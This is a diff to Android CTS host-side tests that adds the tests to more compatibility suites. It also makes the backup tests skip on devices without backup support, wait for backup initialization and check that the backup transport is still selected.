diff --git a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
index 51d8716..907ae36 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk
index de64186..d47f6bc 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
 LOCAL_DEX_PREOPT := false
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
@@ -36,7 +36,7 @@
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 LOCAL_DEX_PREOPT := false
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
@@ -49,7 +49,7 @@
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-ec-a
 LOCAL_DEX_PREOPT := false
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
@@ -63,6 +63,6 @@
 LOCAL_ADDITIONAL_CERTIFICATES := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 LOCAL_DEX_PREOPT := false
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk
index d60df9d..87655dd 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk
@@ -18,7 +18,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk
index 54ecb57..764886a 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk
@@ -18,7 +18,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk
index e953f17..d0960c4 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_DEX_PREOPT := false
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
@@ -40,7 +40,7 @@
 LOCAL_DEX_PREOPT := false
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
@@ -56,6 +56,6 @@
 LOCAL_DEX_PREOPT := false
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk
index a774832..c6cec13 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_DEX_PREOPT := false
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
@@ -40,6 +40,6 @@
 LOCAL_DEX_PREOPT := false
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk
index 683d533..e7de019 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk
@@ -18,7 +18,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk
index afb0590..d54a59b 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk
@@ -18,7 +18,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
index adfce12..4822a11 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/atrace/Android.mk b/hostsidetests/atrace/Android.mk
index 908176c..eb6d14d 100644
--- a/hostsidetests/atrace/Android.mk
+++ b/hostsidetests/atrace/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.host.atrace
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/atrace/AtraceTestApp/Android.mk b/hostsidetests/atrace/AtraceTestApp/Android.mk
index e99d4d1..4b550db 100644
--- a/hostsidetests/atrace/AtraceTestApp/Android.mk
+++ b/hostsidetests/atrace/AtraceTestApp/Android.mk
@@ -31,6 +31,6 @@
 #LOCAL_DEX_PREOPT := false
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk b/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk
index 6eaf7f0..aa9a22c 100644
--- a/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk
+++ b/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := BackupAllowedApp
 
diff --git a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk
index e8c70b9..c218a28 100644
--- a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk
+++ b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := BackupNotAllowedApp
 
diff --git a/hostsidetests/backup/Android.mk b/hostsidetests/backup/Android.mk
index 75796a1..1faec59 100644
--- a/hostsidetests/backup/Android.mk
+++ b/hostsidetests/backup/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MODULE := CtsBackupHostTestCases
 
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk
index 5cce7a4..6155ffb 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := FullBackupOnlyFalseNoAgentApp
 
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk
index 3224b98..62b9860 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := FullBackupOnlyFalseWithAgentApp
 
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk
index 2f0eae8..8257ea7 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := FullBackupOnlyTrueWithAgentApp
 
diff --git a/hostsidetests/backup/KeyValueApp/Android.mk b/hostsidetests/backup/KeyValueApp/Android.mk
index 390c6b0..d03f85f 100644
--- a/hostsidetests/backup/KeyValueApp/Android.mk
+++ b/hostsidetests/backup/KeyValueApp/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsKeyValueBackupRestoreApp
 
diff --git a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk
index ae38548..0a0efba 100644
--- a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk
+++ b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsBackupRestoreAnyVersionAppUpdate
 
diff --git a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk
index 277acb6..94d9376 100644
--- a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk
+++ b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsBackupRestoreAnyVersionNoRestoreApp
 
diff --git a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk
index 170f362..81652a7 100644
--- a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk
+++ b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsBackupRestoreAnyVersionApp
 
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk b/hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk
index bd6929a..4e4f0be 100644
--- a/hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
 
 LOCAL_PACKAGE_NAME := CtsSharedPreferencesRestoreApp
 
diff --git a/hostsidetests/backup/fullbackupapp/Android.mk b/hostsidetests/backup/fullbackupapp/Android.mk
index 46af984..96f9032 100644
--- a/hostsidetests/backup/fullbackupapp/Android.mk
+++ b/hostsidetests/backup/fullbackupapp/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsFullbackupApp
 
diff --git a/hostsidetests/backup/includeexcludeapp/Android.mk b/hostsidetests/backup/includeexcludeapp/Android.mk
index 9c55290..a6d258e 100644
--- a/hostsidetests/backup/includeexcludeapp/Android.mk
+++ b/hostsidetests/backup/includeexcludeapp/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsIncludeExcludeApp
 
diff --git a/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
index 043c982..4f46936 100644
--- a/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
@@ -18,8 +18,9 @@
 
 import static junit.framework.Assert.assertNull;
 
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.After;
 import org.junit.Test;
@@ -64,6 +65,10 @@
     public void tearDown() throws Exception {
         super.tearDown();
 
+        if (!mIsBackupSupported) {
+            return;
+        }
+
         // Clear backup data and uninstall the package (in that order!)
         clearBackupDataInLocalTransport(ALLOWBACKUP_APP_NAME);
         assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
@@ -71,6 +76,11 @@
 
     @Test
     public void testAllowBackup_False() throws Exception {
+        if (!mIsBackupSupported) {
+            CLog.i("android.software.backup feature is not supported on this device");
+            return;
+        }
+
         installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
 
         // Generate the files that are going to be backed up.
@@ -90,6 +100,11 @@
 
     @Test
     public void testAllowBackup_True() throws Exception {
+        if (!mIsBackupSupported) {
+            CLog.i("android.software.backup feature is not supported on this device");
+            return;
+        }
+
         installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
 
         // Generate the files that are going to be backed up.
diff --git a/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java b/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java
index 1d98021..eae5383 100644
--- a/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java
+++ b/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java
@@ -19,6 +19,7 @@
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.Option;
 import com.android.tradefed.config.OptionClass;
+import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
@@ -26,6 +27,7 @@
 import com.android.tradefed.targetprep.ITargetCleaner;
 import com.android.tradefed.targetprep.TargetSetupError;
 
+import java.util.concurrent.TimeUnit;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
@@ -51,6 +53,9 @@
     private static final String LOCAL_TRANSPORT =
             "android/com.android.internal.backup.LocalTransport";
 
+    private static final int BACKUP_PROVISIONING_TIMEOUT_SECONDS = 30;
+    private static final int BACKUP_PROVISIONING_POLL_INTERVAL_SECONDS = 1;
+
     private boolean mIsBackupSupported;
     private boolean mWasBackupEnabled;
     private String mOldTransport;
@@ -63,6 +68,10 @@
 
         mIsBackupSupported = mDevice.hasFeature("feature:" + FEATURE_BACKUP);
 
+        // In case the device was just rebooted, wait for the broadcast queue to get idle to avoid
+        // any interference from services doing backup clean up on reboot.
+        waitForBroadcastIdle();
+
         if (mIsBackupSupported) {
             // Enable backup and select local backup transport
             if (!hasBackupTransport(LOCAL_TRANSPORT)) {
@@ -78,6 +87,7 @@
                     mOldTransport = setBackupTransport(LOCAL_TRANSPORT);
                     CLog.d("Old transport : %s", mOldTransport);
                 }
+                waitForBackupInitialization();
             }
         }
     }
@@ -138,4 +148,46 @@
             throw new RuntimeException("non-parsable output setting bmgr transport: " + output);
         }
     }
+
+    private void waitForBackupInitialization()
+        throws TargetSetupError, DeviceNotAvailableException {
+        long tryUntilNanos = System.nanoTime()
+            + TimeUnit.SECONDS.toNanos(BACKUP_PROVISIONING_TIMEOUT_SECONDS);
+        while (System.nanoTime() < tryUntilNanos) {
+            String output = mDevice.executeShellCommand("dumpsys backup");
+            if (output.matches("(?s)"  // DOTALL
+                + "^Backup Manager is .* not pending init.*")) {
+                return;
+            }
+            try {
+                Thread.sleep(TimeUnit.SECONDS.toMillis(BACKUP_PROVISIONING_POLL_INTERVAL_SECONDS));
+            } catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+                break;
+            }
+        }
+        throw new TargetSetupError("Timed out waiting for backup initialization",
+            mDevice.getDeviceDescriptor());
+    }
+
+    // Copied over from BaseDevicePolicyTest
+    private void waitForBroadcastIdle() throws DeviceNotAvailableException, TargetSetupError {
+        CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        try {
+            // we allow 20 min for the command to complete and 10 min for the command to start to
+            // output something
+            mDevice.executeShellCommand(
+                    "am wait-for-broadcast-idle", receiver, 20, 10, TimeUnit.MINUTES, 0);
+        } finally {
+            String output = receiver.getOutput();
+            CLog.d("Output from 'am wait-for-broadcast-idle': %s", output);
+            if (!output.contains("All broadcast queues are idle!")) {
+                // the call most likely failed we should fail the test
+                throw new TargetSetupError("'am wait-for-broadcase-idle' did not complete.",
+                        mDevice.getDeviceDescriptor());
+                // TODO: consider adding a reboot or recovery before failing if necessary
+            }
+        }
+    }
+
 }
diff --git a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
index 28c775a..acdb423 100644
--- a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
@@ -18,6 +18,7 @@
 
 import static junit.framework.Assert.assertTrue;
 
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assume.assumeTrue;
 
 import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
@@ -30,6 +31,8 @@
 import org.junit.runner.RunWith;
 
 import java.util.Scanner;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 
 /**
  * Base class for CTS backup/restore hostside tests
@@ -51,6 +54,12 @@
             CLog.i("android.software.backup feature is not supported on this device");
             return;
         }
+
+        // Check that the backup wasn't disabled and the transport wasn't switched unexpectedly.
+        assertTrue("Backup was unexpectedly disabled during the module test run",
+                isBackupEnabled());
+        assertEquals("LocalTransport should be selected at this point", LOCAL_TRANSPORT,
+                getCurrentTransport());
     }
 
     @After
@@ -187,4 +196,28 @@
     protected void clearPackageData(String packageName) throws DeviceNotAvailableException {
         mDevice.executeShellCommand(String.format("pm clear %s", packageName));
     }
+
+    private boolean isBackupEnabled() throws DeviceNotAvailableException {
+        boolean isEnabled;
+        String output = mDevice.executeShellCommand("bmgr enabled");
+        Pattern pattern = Pattern.compile("^Backup Manager currently (enabled|disabled)$");
+        Matcher matcher = pattern.matcher(output.trim());
+        if (matcher.find()) {
+            isEnabled = "enabled".equals(matcher.group(1));
+        } else {
+            throw new RuntimeException("non-parsable output setting bmgr enabled: " + output);
+        }
+        return isEnabled;
+    }
+
+    private String getCurrentTransport() throws DeviceNotAvailableException {
+        String output = mDevice.executeShellCommand("bmgr list transports");
+        Pattern pattern = Pattern.compile("\\* (.*)");
+        Matcher matcher = pattern.matcher(output);
+        if (matcher.find()) {
+            return matcher.group(1);
+        } else {
+            throw new RuntimeException("non-parsable output setting bmgr transport: " + output);
+        }
+    }
 }
diff --git a/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java
index 7697dd2..89cfe40 100644
--- a/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java
@@ -19,6 +19,7 @@
 import static junit.framework.Assert.assertNull;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.After;
@@ -78,6 +79,10 @@
     public void tearDown() throws Exception {
         super.tearDown();
 
+        if (!mIsBackupSupported) {
+            return;
+        }
+
         // Clear backup data and uninstall the package (in that order!)
         clearBackupDataInLocalTransport(FULLBACKUPONLY_APP_PACKAGE);
         assertNull(uninstallPackage(FULLBACKUPONLY_APP_PACKAGE));
@@ -90,6 +95,11 @@
      */
     @Test
     public void testFullBackupOnlyFalse_WithAgent() throws Exception {
+        if (!mIsBackupSupported) {
+            CLog.i("android.software.backup feature is not supported on this device");
+            return;
+        }
+
         installPackage(FULLBACKUPONLY_FALSE_WITH_AGENT_APP_APK, "-d", "-r");
 
         checkFullBackupOnlyDeviceTest("createFiles");
@@ -111,6 +121,11 @@
      */
     @Test
     public void testFullBackupOnlyFalse_NoAgent() throws Exception {
+        if (!mIsBackupSupported) {
+            CLog.i("android.software.backup feature is not supported on this device");
+            return;
+        }
+
         installPackage(FULLBACKUPONLY_FALSE_NO_AGENT_APP_APK, "-d", "-r");
 
         checkFullBackupOnlyDeviceTest("createFiles");
@@ -132,6 +147,11 @@
      */
     @Test
     public void testFullBackupOnlyTrue_WithAgent() throws Exception {
+        if (!mIsBackupSupported) {
+            CLog.i("android.software.backup feature is not supported on this device");
+            return;
+        }
+
         installPackage(FULLBACKUPONLY_TRUE_WITH_AGENT_APP_APK, "-d", "-r");
 
         checkFullBackupOnlyDeviceTest("createFiles");
diff --git a/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
index e93c913..a508d47 100644
--- a/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
@@ -18,6 +18,7 @@
 
 import static org.junit.Assert.assertTrue;
 
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.log.LogUtil.CLog;
 
diff --git a/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
index 70bfc07..a1f4927 100644
--- a/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
@@ -138,6 +138,11 @@
      */
     @Test
     public void testSharedPreferencesRestore() throws Exception {
+        if (!mIsBackupSupported) {
+            CLog.i("android.software.backup feature is not supported on this device");
+            return;
+        }
+
         checkDeviceTest("launchSharedPrefActivity");
 
         backupNowAndAssertSuccess(SHARED_PREFERENCES_RESTORE_APP_PACKAGE);
diff --git a/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java
index 4099169..7c1f37b 100644
--- a/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java
@@ -22,8 +22,9 @@
 
 import static org.junit.Assume.assumeTrue;
 
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.After;
 import org.junit.Before;
@@ -64,6 +65,10 @@
     public void tearDown() throws Exception {
         super.tearDown();
 
+        if (!mIsBackupSupported) {
+            return;
+        }
+
         // Clear backup data and uninstall the package (in that order!)
         clearBackupDataInLocalTransport(RESTORE_ANY_VERSION_APP_PACKAGE);
         assertNull(uninstallPackage(RESTORE_ANY_VERSION_APP_PACKAGE));
@@ -75,6 +80,11 @@
      */
     @Test
     public void testRestoreAnyVersion_False() throws Exception {
+        if (!mIsBackupSupported) {
+            CLog.i("android.software.backup feature is not supported on this device");
+            return;
+        }
+
         installNewVersionApp();
 
         saveSharedPreferenceValue();
@@ -96,6 +106,11 @@
      */
     @Test
     public void testRestoreAnyVersion_True() throws Exception {
+        if (!mIsBackupSupported) {
+            CLog.i("android.software.backup feature is not supported on this device");
+            return;
+        }
+
         installNewVersionApp();
 
         saveSharedPreferenceValue();
@@ -117,6 +132,11 @@
      */
     @Test
     public void testRestoreAnyVersion_OldBackupToNewApp() throws Exception {
+        if (!mIsBackupSupported) {
+            CLog.i("android.software.backup feature is not supported on this device");
+            return;
+        }
+
         installNoRestoreAnyVersionApp();
 
         saveSharedPreferenceValue();
diff --git a/hostsidetests/bootstats/Android.mk b/hostsidetests/bootstats/Android.mk
index 0849f82..58fcfe2 100644
--- a/hostsidetests/bootstats/Android.mk
+++ b/hostsidetests/bootstats/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.bootstats
 
